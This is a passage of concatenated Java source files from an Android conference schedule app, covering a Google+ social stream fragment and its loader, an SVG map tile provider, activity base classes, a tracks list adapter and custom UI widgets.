totalItemCount) { if (!isStreamLoading() && streamHasMoreResults() && visibleItemCount != 0 && firstVisibleItem + visibleItemCount >= totalItemCount - 1) { loadMoreResults(); } } @Override public Loader<List<Activity>> onCreateLoader(int id, Bundle args) { return new StreamLoader(getActivity(), mSearchString); } @Override public void onLoadFinished(Loader<List<Activity>> listLoader, List<Activity> activities) { if (activities != null) { mStream = activities; } mStreamAdapter.notifyDataSetChanged(); if (mListViewStatePosition != -1 && isAdded()) { getListView().setSelectionFromTop(mListViewStatePosition, mListViewStateTop); mListViewStatePosition = -1; } } @Override public void onLoaderReset(Loader<List<Activity>> listLoader) { } private boolean isStreamLoading() { if (isAdded()) { final Loader loader = getLoaderManager().getLoader(STREAM_LOADER_ID); if (loader != null) { return ((StreamLoader) loader).isLoading(); } } return true; } private boolean streamHasMoreResults() { if (isAdded()) { final Loader loader = getLoaderManager().getLoader(STREAM_LOADER_ID); if (loader != null) { return ((StreamLoader) loader).hasMoreResults(); } } return false; } private boolean streamHasError() { if (isAdded()) { final Loader loader = getLoaderManager().getLoader(STREAM_LOADER_ID); if (loader != null) { return ((StreamLoader) loader).hasError(); } } return false; } private static class StreamLoader extends AsyncTaskLoader<List<Activity>> { List<Activity> mActivities; private String mSearchString; private String mNextPageToken; private boolean mIsLoading; private boolean mHasError; public StreamLoader(Context context, String searchString) { super(context); init(searchString); } private void init(String searchString) { mSearchString = searchString; mHasError = false; mNextPageToken = null; mIsLoading = true; mActivities = null; } @Override public List<Activity> loadInBackground() { mIsLoading = true; // Set up the HTTP transport and JSON factory HttpTransport httpTransport = new NetHttpTransport(); JsonFactory jsonFactory = new AndroidJsonFactory(); // Set up the main Google+ class Plus plus = new Plus.Builder(httpTransport, jsonFactory, null) .setApplicationName(NetUtils.getUserAgent(getContext())) .setGoogleClientRequestInitializer( new CommonGoogleClientRequestInitializer(Config.API_KEY)) .build(); ActivityFeed activities = null; try { activities = plus.activities().search(mSearchString) .setPageToken(mNextPageToken) .setOrderBy("recent") .setMaxResults(MAX_RESULTS_PER_REQUEST) .setFields(PLUS_RESULT_FIELDS) .execute(); mHasError = false; mNextPageToken = activities.getNextPageToken(); } catch (IOException e) { e.printStackTrace(); mHasError = true; mNextPageToken = null; } return (activities != null) ? activities.getItems() : null; } @Override public void deliverResult(List<Activity> activities) { mIsLoading = false; if (activities != null) { if (mActivities == null) { mActivities = activities; } else { mActivities.addAll(activities); } } if (isStarted()) { // Need to return new ArrayList for some reason or onLoadFinished() is not called super.deliverResult(mActivities == null ? null : new ArrayList<Activity>(mActivities)); } } @Override protected void onStartLoading() { if (mActivities != null) { // If we already have results and are starting up, deliver what we already have. deliverResult(null); } else { forceLoad(); } } @Override protected void onStopLoading() { mIsLoading = false; cancelLoad(); } @Override protected void onReset() { super.onReset(); onStopLoading(); mActivities = null; } public boolean isLoading() { return mIsLoading; } public boolean hasMoreResults() { return mNextPageToken != null; } public boolean hasError() { return mHasError; } public void setSearchString(String searchString) { mSearchString = searchString; } public void refresh() { reset(); startLoading(); } } private class StreamAdapter extends BaseAdapter { private static final int VIEW_TYPE_ACTIVITY = 0; private static final int VIEW_TYPE_LOADING = 1; @Override public boolean areAllItemsEnabled() { return false; } @Override public boolean isEnabled(int position) { return getItemViewType(position) == VIEW_TYPE_ACTIVITY; } @Override public int getViewTypeCount() { return 2; } @Override public boolean hasStableIds() { return true; } @Override public int getCount() { return mStream.size() + ( // show the status list row if... ((isStreamLoading() && mStream.size() == 0) // ...this is the first load || streamHasMoreResults() // ...or there's another page || streamHasError()) // ...or there's an error ? 1 : 0); } @Override public int getItemViewType(int position) { return (position >= mStream.size()) ? VIEW_TYPE_LOADING : VIEW_TYPE_ACTIVITY; } @Override public Object getItem(int position) { return (getItemViewType(position) == VIEW_TYPE_ACTIVITY) ? mStream.get(position) : null; } @Override public long getItemId(int position) { // TODO: better unique ID heuristic return (getItemViewType(position) == VIEW_TYPE_ACTIVITY) ? mStream.get(position).getId().hashCode() : -1; } @Override public View getView(int position, View convertView, ViewGroup parent) { if (getItemViewType(position) == VIEW_TYPE_LOADING) { if (convertView == null) { convertView = getLayoutInflater(null).inflate( R.layout.list_item_stream_status, parent, false); } if (streamHasError()) { convertView.findViewById(android.R.id.progress).setVisibility(View.GONE); ((TextView) convertView.findViewById(android.R.id.text1)).setText( R.string.stream_error); } else { convertView.findViewById(android.R.id.progress).setVisibility(View.VISIBLE); ((TextView) convertView.findViewById(android.R.id.text1)).setText( R.string.loading); } return convertView; } else { Activity activity = (Activity) getItem(position); if (convertView == null) { convertView = getLayoutInflater(null).inflate( R.layout.list_item_stream_activity, parent, false); } PlusStreamRowViewBinder.bindActivityView(convertView, activity, mImageLoader, false); return convertView; } } } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/SocialStreamFragment.java
Java
asf20
19,013
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import static com.google.android.apps.iosched.util.LogUtils.makeLogTag; import java.io.*; import java.util.concurrent.ConcurrentLinkedQueue; import android.graphics.Bitmap; import android.graphics.Canvas; import android.graphics.Color; import android.graphics.Matrix; import android.graphics.RectF; import android.util.Log; import com.google.android.gms.maps.model.Tile; import com.google.android.gms.maps.model.TileProvider; import com.larvalabs.svgandroid.SVG; import com.larvalabs.svgandroid.SVGParser; public class SVGTileProvider implements TileProvider { private static final String TAG = makeLogTag(SVGTileProvider.class); private static final int POOL_MAX_SIZE = 5; private static final int BASE_TILE_SIZE = 256; private final TileGeneratorPool mPool; private final Matrix mBaseMatrix; private final int mScale; private final int mDimension; private byte[] mSvgFile; public SVGTileProvider(File file, float dpi) throws IOException { mScale = Math.round(dpi + .3f); // Make it look nice on N7 (1.3 dpi) mDimension = BASE_TILE_SIZE * mScale; mPool = new TileGeneratorPool(POOL_MAX_SIZE); mSvgFile = readFile(file); RectF limits = SVGParser.getSVGFromInputStream(new ByteArrayInputStream(mSvgFile)).getLimits(); mBaseMatrix = new Matrix(); mBaseMatrix.setPolyToPoly( new float[]{ 0, 0, limits.width(), 0, limits.width(), limits.height() }, 0, new float[]{ 40.95635986328125f, 98.94217824936158f, 40.95730018615723f, 98.94123077396628f, 40.95791244506836f, 98.94186019897214f }, 0, 3); } @Override public Tile getTile(int x, int y, int zoom) { TileGenerator tileGenerator = mPool.get(); byte[] tileData = tileGenerator.getTileImageData(x, y, zoom); mPool.restore(tileGenerator); return new Tile(mDimension, mDimension, tileData); } private class TileGeneratorPool { private final ConcurrentLinkedQueue<TileGenerator> mPool = new ConcurrentLinkedQueue<TileGenerator>(); private final int mMaxSize; private TileGeneratorPool(int maxSize) { mMaxSize = maxSize; } public TileGenerator get() { TileGenerator i = mPool.poll(); if (i == null) { return new TileGenerator(); } return i; } public void restore(TileGenerator tileGenerator) { if (mPool.size() < mMaxSize && mPool.offer(tileGenerator)) { return; } // pool is too big or returning to pool failed, so just try to clean // up. tileGenerator.cleanUp(); } } public class TileGenerator { private Bitmap mBitmap; private SVG mSvg; private ByteArrayOutputStream mStream; public TileGenerator() { mBitmap = Bitmap.createBitmap(mDimension, mDimension, Bitmap.Config.ARGB_8888); mStream = new ByteArrayOutputStream(mDimension * mDimension * 4); mSvg = SVGParser.getSVGFromInputStream(new ByteArrayInputStream(mSvgFile)); } public byte[] getTileImageData(int x, int y, int zoom) { mStream.reset(); Matrix matrix = new Matrix(mBaseMatrix); float scale = (float) (Math.pow(2, zoom) * mScale); matrix.postScale(scale, scale); matrix.postTranslate(-x * mDimension, -y * mDimension); mBitmap.eraseColor(Color.TRANSPARENT); Canvas c = new Canvas(mBitmap); c.setMatrix(matrix); mSvg.getPicture().draw(c); BufferedOutputStream stream = new BufferedOutputStream(mStream); mBitmap.compress(Bitmap.CompressFormat.PNG, 0, stream); try { stream.close(); } catch (IOException e) { Log.e(TAG, "Error while closing tile byte stream."); e.printStackTrace(); } return mStream.toByteArray(); } /** * Attempt to free memory and remove references. */ public void cleanUp() { mBitmap.recycle(); mBitmap = null; mSvg = null; try { mStream.close(); } catch (IOException e) { // ignore } mStream = null; } } private static byte[] readFile(File file) throws IOException { InputStream in = new BufferedInputStream(new FileInputStream(file)); try { ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int n; while ((n = in.read(buffer)) != -1) { baos.write(buffer, 0, n); } return baos.toByteArray(); } finally { in.close(); } } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/SVGTileProvider.java
Java
asf20
5,154
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.os.Bundle; import android.support.v4.app.Fragment; import android.view.Menu; import android.view.MenuItem; import com.google.android.apps.iosched.R; public class SocialStreamActivity extends SimpleSinglePaneActivity { @Override protected Fragment onCreatePane() { setIntent(getIntent().putExtra(SocialStreamFragment.EXTRA_ADD_VERTICAL_MARGINS, true)); return new SocialStreamFragment(); } @Override protected int getContentViewResId() { return R.layout.activity_plus_stream; } @Override protected void onPostCreate(Bundle savedInstanceState) { super.onPostCreate(savedInstanceState); setTitle(getIntent().getStringExtra(SocialStreamFragment.EXTRA_QUERY)); } @Override public boolean onCreateOptionsMenu(Menu menu) { super.onCreateOptionsMenu(menu); getMenuInflater().inflate(R.menu.social_stream_standalone, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case R.id.menu_refresh: ((SocialStreamFragment) getFragment()).refresh(); return true; } return super.onOptionsItemSelected(item); } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/SocialStreamActivity.java
Java
asf20
1,911
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.os.Parcelable; import android.support.v4.app.TaskStackBuilder; /** * Helper 'proxy' activity that simply accepts an activity intent and synthesize a back-stack * for it, per Android's design guidelines for navigation from widgets and notifications. */ public class TaskStackBuilderProxyActivity extends Activity { private static final String EXTRA_INTENTS = "com.google.android.apps.iosched.extra.INTENTS"; public static Intent getTemplate(Context context) { return new Intent(context, TaskStackBuilderProxyActivity.class) .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); } public static Intent getFillIntent(Intent... intents) { return new Intent().putExtra(EXTRA_INTENTS, intents); } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); TaskStackBuilder builder = TaskStackBuilder.create(this); Intent proxyIntent = getIntent(); if (!proxyIntent.hasExtra(EXTRA_INTENTS)) { finish(); return; } for (Parcelable parcelable : proxyIntent.getParcelableArrayExtra(EXTRA_INTENTS)) { builder.addNextIntent((Intent) parcelable); } builder.startActivities(); finish(); } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/TaskStackBuilderProxyActivity.java
Java
asf20
2,061
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.content.Intent; import android.content.res.Configuration; import android.graphics.Bitmap; import android.graphics.drawable.BitmapDrawable; import android.net.Uri; import android.os.Bundle; import android.support.v7.app.ActionBarActivity; import com.google.analytics.tracking.android.EasyTracker; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.util.*; import static com.google.android.apps.iosched.util.LogUtils.makeLogTag; /** * A base activity that handles common functionality in the app. */ public abstract class BaseActivity extends ActionBarActivity { private static final String TAG = makeLogTag(BaseActivity.class); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); EasyTracker.getInstance().setContext(this); if (!AccountUtils.isAuthenticated(this) || !PrefUtils.isSetupDone(this)) { LogUtils.LOGD(TAG, "exiting:" + " isAuthenticated=" + AccountUtils.isAuthenticated(this) + " isSetupDone=" + PrefUtils.isSetupDone(this)); AccountUtils.startAuthenticationFlow(this, getIntent()); finish(); } } @Override protected void onResume() { super.onResume(); // Verifies the proper version of Google Play Services exists on the device. PlayServicesUtils.checkGooglePlaySevices(this); } protected void setHasTabs() { if (!UIUtils.isTablet(this) && getResources().getConfiguration().orientation != Configuration.ORIENTATION_LANDSCAPE) { // Only show the tab bar's shadow getSupportActionBar().setBackgroundDrawable(getResources().getDrawable( R.drawable.actionbar_background_noshadow)); } } /** * Sets the icon. */ protected void setActionBarTrackIcon(String trackName, int trackColor) { if (trackColor == 0) { getSupportActionBar().setIcon(R.drawable.actionbar_icon); return; } new UIUtils.TrackIconAsyncTask(trackName, trackColor) { @Override protected void onPostExecute(Bitmap bitmap) { BitmapDrawable outDrawable = new BitmapDrawable(getResources(), bitmap); getSupportActionBar().setIcon(outDrawable); } }.execute(this); } /** * Converts an intent into a {@link Bundle} suitable for use as fragment arguments. */ protected static Bundle intentToFragmentArguments(Intent intent) { Bundle arguments = new Bundle(); if (intent == null) { return arguments; } final Uri data = intent.getData(); if (data != null) { arguments.putParcelable("_uri", data); } final Bundle extras = intent.getExtras(); if (extras != null) { arguments.putAll(intent.getExtras()); } return arguments; } /** * Converts a fragment arguments bundle into an intent. */ public static Intent fragmentArgumentsToIntent(Bundle arguments) { Intent intent = new Intent(); if (arguments == null) { return intent; } final Uri data = arguments.getParcelable("_uri"); if (data != null) { intent.setData(data); } intent.putExtras(arguments); intent.removeExtra("_uri"); return intent; } @Override public void onStart() { super.onStart(); EasyTracker.getInstance().activityStart(this); } @Override public void onStop() { super.onStop(); EasyTracker.getInstance().activityStop(this); } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/BaseActivity.java
Java
asf20
4,423
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.app.Activity; import android.content.Context; import android.database.Cursor; import android.graphics.Rect; import android.provider.BaseColumns; import android.support.v4.app.FragmentActivity; import android.support.v4.widget.CursorAdapter; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.TextView; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.util.BitmapCache; import com.google.android.apps.iosched.util.UIUtils; /** * A {@link android.widget.CursorAdapter} that renders a {@link TracksQuery}. */ public class TracksAdapter extends CursorAdapter { private static final int ALL_ITEM_ID = Integer.MAX_VALUE; private static final int LEVEL_2_SECTION_HEADER_ITEM_ID = ALL_ITEM_ID - 1; private Activity mActivity; private boolean mHasAllItem; private int mFirstLevel2CursorPosition = -1; private BitmapCache mBitmapCache; private boolean mIsDropDown; public TracksAdapter(FragmentActivity activity, boolean isDropDown) { super(activity, null, 0); mActivity = activity; mIsDropDown = isDropDown; // Fetch track icon size in pixels. int trackIconSize = activity.getResources().getDimensionPixelSize(R.dimen.track_icon_source_size); // Cache size is total pixels by 4 bytes (as format is ARGB_8888) by 20 (max icons to hold // in the cache) converted to KB. int cacheSize = trackIconSize * trackIconSize * 4 * 20 / 1024; // Create a BitmapCache to hold the track icons. mBitmapCache = BitmapCache.getInstance(activity.getSupportFragmentManager(), UIUtils.TRACK_ICONS_TAG, cacheSize); } @Override public void changeCursor(Cursor cursor) { updateSpecialItemPositions(cursor); super.changeCursor(cursor); } @Override public Cursor swapCursor(Cursor newCursor) { updateSpecialItemPositions(newCursor); return super.swapCursor(newCursor); } public void setHasAllItem(boolean hasAllItem) { mHasAllItem = hasAllItem; updateSpecialItemPositions(getCursor()); } private void updateSpecialItemPositions(Cursor cursor) { mFirstLevel2CursorPosition = -1; if (cursor != null && !cursor.isClosed()) { cursor.moveToFirst(); while (cursor.moveToNext()) { if (cursor.getInt(TracksQuery.TRACK_LEVEL) == 2) { mFirstLevel2CursorPosition = cursor.getPosition(); break; } } } } public boolean isAllTracksItem(int position) { return mHasAllItem && position == 0; } public boolean isLevel2Header(int position) { return mFirstLevel2CursorPosition >= 0 && position - (mHasAllItem ? 1 : 0) == mFirstLevel2CursorPosition; } public int adapterPositionToCursorPosition(int position) { position -= (mHasAllItem ? 1 : 0); if (mFirstLevel2CursorPosition >= 0 && position > mFirstLevel2CursorPosition) { --position; } return position; } @Override public int getCount() { int superCount = super.getCount(); if (superCount == 0) { return 0; } return superCount + (mFirstLevel2CursorPosition >= 0 ? 1 : 0) + (mHasAllItem ? 1 : 0); } @Override public View getView(int position, View convertView, ViewGroup parent) { if (isAllTracksItem(position)) { if (convertView == null) { convertView = mActivity.getLayoutInflater().inflate( R.layout.list_item_track, parent, false); } // Custom binding for the first item ((TextView) convertView.findViewById(android.R.id.text1)).setText( "(" + mActivity.getResources().getString(R.string.all_tracks) + ")"); convertView.findViewById(android.R.id.icon1).setVisibility(View.INVISIBLE); return convertView; } else if (isLevel2Header(position)) { TextView view = (TextView) convertView; if (view == null) { view = (TextView) mActivity.getLayoutInflater().inflate( R.layout.list_item_track_header, parent, false); if (mIsDropDown) { Rect r = new Rect(view.getPaddingLeft(), view.getPaddingTop(), view.getPaddingRight(), view.getPaddingBottom()); view.setBackgroundResource(R.drawable.track_header_bottom_border); view.setPadding(r.left, r.top, r.right, r.bottom); } } view.setText(R.string.other_tracks); return view; } return super.getView(adapterPositionToCursorPosition(position), convertView, parent); } @Override public Object getItem(int position) { if (isAllTracksItem(position) || isLevel2Header(position)) { return null; } return super.getItem(adapterPositionToCursorPosition(position)); } @Override public long getItemId(int position) { if (isAllTracksItem(position)) { return ALL_ITEM_ID; } else if (isLevel2Header(position)) { return LEVEL_2_SECTION_HEADER_ITEM_ID; } return super.getItemId(adapterPositionToCursorPosition(position)); } @Override public boolean areAllItemsEnabled() { return false; } @Override public boolean isEnabled(int position) { return position < (mHasAllItem ? 1 : 0) || !isLevel2Header(position) && super.isEnabled(adapterPositionToCursorPosition(position)); } @Override public int getViewTypeCount() { // Add an item type for the "All" item and section header. return super.getViewTypeCount() + 2; } @Override public int getItemViewType(int position) { if (isAllTracksItem(position)) { return getViewTypeCount() - 1; } else if (isLevel2Header(position)) { return getViewTypeCount() - 2; } return super.getItemViewType(adapterPositionToCursorPosition(position)); } /** {@inheritDoc} */ @Override public View newView(Context context, Cursor cursor, ViewGroup parent) { return mActivity.getLayoutInflater().inflate(R.layout.list_item_track, parent, false); } /** {@inheritDoc} */ @Override public void bindView(View view, Context context, Cursor cursor) { String trackName = cursor.getString(TracksQuery.TRACK_NAME); final TextView textView = (TextView) view.findViewById(android.R.id.text1); textView.setText(trackName); // Assign track color and icon to visible block final ImageView iconView = (ImageView) view.findViewById(android.R.id.icon1); new UIUtils.TrackIconViewAsyncTask(iconView, trackName, cursor.getInt(TracksQuery.TRACK_COLOR), mBitmapCache).execute(context); } /** {@link com.google.android.apps.iosched.provider.ScheduleContract.Tracks} query parameters. */ public interface TracksQuery { int _TOKEN = 0x1; String[] PROJECTION = { BaseColumns._ID, ScheduleContract.Tracks.TRACK_ID, ScheduleContract.Tracks.TRACK_NAME, ScheduleContract.Tracks.TRACK_ABSTRACT, ScheduleContract.Tracks.TRACK_COLOR, ScheduleContract.Tracks.TRACK_LEVEL, ScheduleContract.Tracks.TRACK_META, }; String[] PROJECTION_WITH_SESSIONS_COUNT = { BaseColumns._ID, ScheduleContract.Tracks.TRACK_ID, ScheduleContract.Tracks.TRACK_NAME, ScheduleContract.Tracks.TRACK_ABSTRACT, ScheduleContract.Tracks.TRACK_COLOR, ScheduleContract.Tracks.TRACK_LEVEL, ScheduleContract.Tracks.TRACK_META, ScheduleContract.Tracks.SESSIONS_COUNT, }; String[] PROJECTION_WITH_OFFICE_HOURS_COUNT = { BaseColumns._ID, ScheduleContract.Tracks.TRACK_ID, ScheduleContract.Tracks.TRACK_NAME, ScheduleContract.Tracks.TRACK_ABSTRACT, ScheduleContract.Tracks.TRACK_COLOR, ScheduleContract.Tracks.TRACK_LEVEL, ScheduleContract.Tracks.TRACK_META, ScheduleContract.Tracks.OFFICE_HOURS_COUNT, }; String[] PROJECTION_WITH_SANDBOX_COUNT = { BaseColumns._ID, ScheduleContract.Tracks.TRACK_ID, ScheduleContract.Tracks.TRACK_NAME, ScheduleContract.Tracks.TRACK_ABSTRACT, ScheduleContract.Tracks.TRACK_COLOR, ScheduleContract.Tracks.TRACK_LEVEL, ScheduleContract.Tracks.TRACK_META, ScheduleContract.Tracks.SANDBOX_COUNT, }; int _ID = 0; int TRACK_ID = 1; int TRACK_NAME = 2; int TRACK_ABSTRACT = 3; int TRACK_COLOR = 4; int TRACK_LEVEL = 5; int TRACK_META = 6; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/TracksAdapter.java
Java
asf20
10,088
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui.widget; import android.content.Context; import android.util.AttributeSet; import android.widget.ScrollView; /** * A custom ScrollView that can accept a scroll listener. */ public class ObservableScrollView extends ScrollView { private Callbacks mCallbacks; public ObservableScrollView(Context context, AttributeSet attrs) { super(context, attrs); } @Override protected void onScrollChanged(int l, int t, int oldl, int oldt) { super.onScrollChanged(l, t, oldl, oldt); if (mCallbacks != null) { mCallbacks.onScrollChanged(); } } @Override public int computeVerticalScrollRange() { return super.computeVerticalScrollRange(); } public void setCallbacks(Callbacks listener) { mCallbacks = listener; } public static interface Callbacks { public void onScrollChanged(); } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/widget/ObservableScrollView.java
Java
asf20
1,536
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui.widget; import android.content.Context; import android.util.AttributeSet; import android.widget.Checkable; import android.widget.FrameLayout; public class CheckableFrameLayout extends FrameLayout implements Checkable { private boolean mChecked; public CheckableFrameLayout(Context context) { super(context); } public CheckableFrameLayout(Context context, AttributeSet attrs) { super(context, attrs); } public CheckableFrameLayout(Context context, AttributeSet attrs, int defStyle) { super(context, attrs, defStyle); } private static final int[] CheckedStateSet = { android.R.attr.state_checked }; @Override public boolean isChecked() { return mChecked; } @Override public void setChecked(boolean checked) { mChecked = checked; refreshDrawableState(); } @Override public void toggle() { setChecked(!mChecked); } @Override protected int[] onCreateDrawableState(int extraSpace) { final int[] drawableState = super.onCreateDrawableState(extraSpace + 1); if (isChecked()) { mergeDrawableStates(drawableState, CheckedStateSet); } return drawableState; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/widget/CheckableFrameLayout.java
Java
asf20
1,898
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui.widget; import com.google.android.apps.iosched.R; import android.content.Context; import android.content.res.TypedArray; import android.text.TextUtils; import android.util.AttributeSet; import android.widget.TextView; /** * A simple {@link TextView} subclass that uses {@link TextUtils#ellipsize(CharSequence, * android.text.TextPaint, float, android.text.TextUtils.TruncateAt, boolean, * android.text.TextUtils.EllipsizeCallback)} to truncate the displayed text. This is used in * {@link com.google.android.apps.iosched.ui.PlusStreamRowViewBinder} when displaying G+ post text * which is converted from HTML to a {@link android.text.SpannableString} and sometimes causes * issues for the built-in TextView ellipsize function. */ public class EllipsizedTextView extends TextView { private static final int MAX_ELLIPSIZE_LINES = 100; private int mMaxLines; public EllipsizedTextView(Context context) { this(context, null, 0); } public EllipsizedTextView(Context context, AttributeSet attrs) { this(context, attrs, 0); } public EllipsizedTextView(Context context, AttributeSet attrs, int defStyle) { super(context, attrs, defStyle); // Attribute initialization final TypedArray a = context.obtainStyledAttributes(attrs, new int[]{ android.R.attr.maxLines }, defStyle, 0); mMaxLines = a.getInteger(0, 1); a.recycle(); } @Override public void setText(CharSequence text, BufferType type) { CharSequence newText = getWidth() == 0 || mMaxLines > MAX_ELLIPSIZE_LINES ? text : TextUtils.ellipsize(text, getPaint(), getWidth() * mMaxLines, TextUtils.TruncateAt.END, false, null); super.setText(newText, type); } @Override protected void onSizeChanged(int width, int height, int oldWidth, int oldHeight) { super.onSizeChanged(width, height, oldWidth, oldHeight); if (width > 0 && oldWidth != width) { setText(getText()); } } @Override public void setMaxLines(int maxlines) { super.setMaxLines(maxlines); mMaxLines = maxlines; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/widget/EllipsizedTextView.java
Java
asf20
2,834
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui.widget; import com.google.android.apps.iosched.R; import android.content.Context; import android.content.res.TypedArray; import android.graphics.Bitmap; import android.graphics.Canvas; import android.graphics.ColorMatrix; import android.graphics.ColorMatrixColorFilter; import android.graphics.Paint; import android.graphics.PorterDuff; import android.graphics.PorterDuffXfermode; import android.graphics.Rect; import android.graphics.RectF; import android.graphics.drawable.Drawable; import android.support.v4.view.ViewCompat; import android.util.AttributeSet; import android.widget.ImageView; /** * An {@link android.widget.ImageView} that draws its contents inside a mask and draws a border * drawable on top. This is useful for applying a beveled look to image contents, but is also * flexible enough for use with other desired aesthetics. */ public class BezelImageView extends ImageView { private Paint mBlackPaint; private Paint mMaskedPaint; private Rect mBounds; private RectF mBoundsF; private Drawable mBorderDrawable; private Drawable mMaskDrawable; private ColorMatrixColorFilter mDesaturateColorFilter; private boolean mDesaturateOnPress = false; private boolean mCacheValid = false; private Bitmap mCacheBitmap; private int mCachedWidth; private int mCachedHeight; public BezelImageView(Context context) { this(context, null); } public BezelImageView(Context context, AttributeSet attrs) { this(context, attrs, 0); } public BezelImageView(Context context, AttributeSet attrs, int defStyle) { super(context, attrs, defStyle); // Attribute initialization final TypedArray a = context.obtainStyledAttributes(attrs, R.styleable.BezelImageView, defStyle, 0); mMaskDrawable = a.getDrawable(R.styleable.BezelImageView_maskDrawable); if (mMaskDrawable != null) { mMaskDrawable.setCallback(this); } mBorderDrawable = a.getDrawable(R.styleable.BezelImageView_borderDrawable); if (mBorderDrawable != null) { mBorderDrawable.setCallback(this); } mDesaturateOnPress = a.getBoolean(R.styleable.BezelImageView_desaturateOnPress, mDesaturateOnPress); a.recycle(); // Other initialization mBlackPaint = new Paint(); mBlackPaint.setColor(0xff000000); mMaskedPaint = new Paint(); mMaskedPaint.setXfermode(new PorterDuffXfermode(PorterDuff.Mode.SRC_IN)); // Always want a cache allocated. mCacheBitmap = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888); if (mDesaturateOnPress) { // Create a desaturate color filter for pressed state. ColorMatrix cm = new ColorMatrix(); cm.setSaturation(0); mDesaturateColorFilter = new ColorMatrixColorFilter(cm); } } @Override protected boolean setFrame(int l, int t, int r, int b) { final boolean changed = super.setFrame(l, t, r, b); mBounds = new Rect(0, 0, r - l, b - t); mBoundsF = new RectF(mBounds); if (mBorderDrawable != null) { mBorderDrawable.setBounds(mBounds); } if (mMaskDrawable != null) { mMaskDrawable.setBounds(mBounds); } if (changed) { mCacheValid = false; } return changed; } @Override protected void onDraw(Canvas canvas) { if (mBounds == null) { return; } int 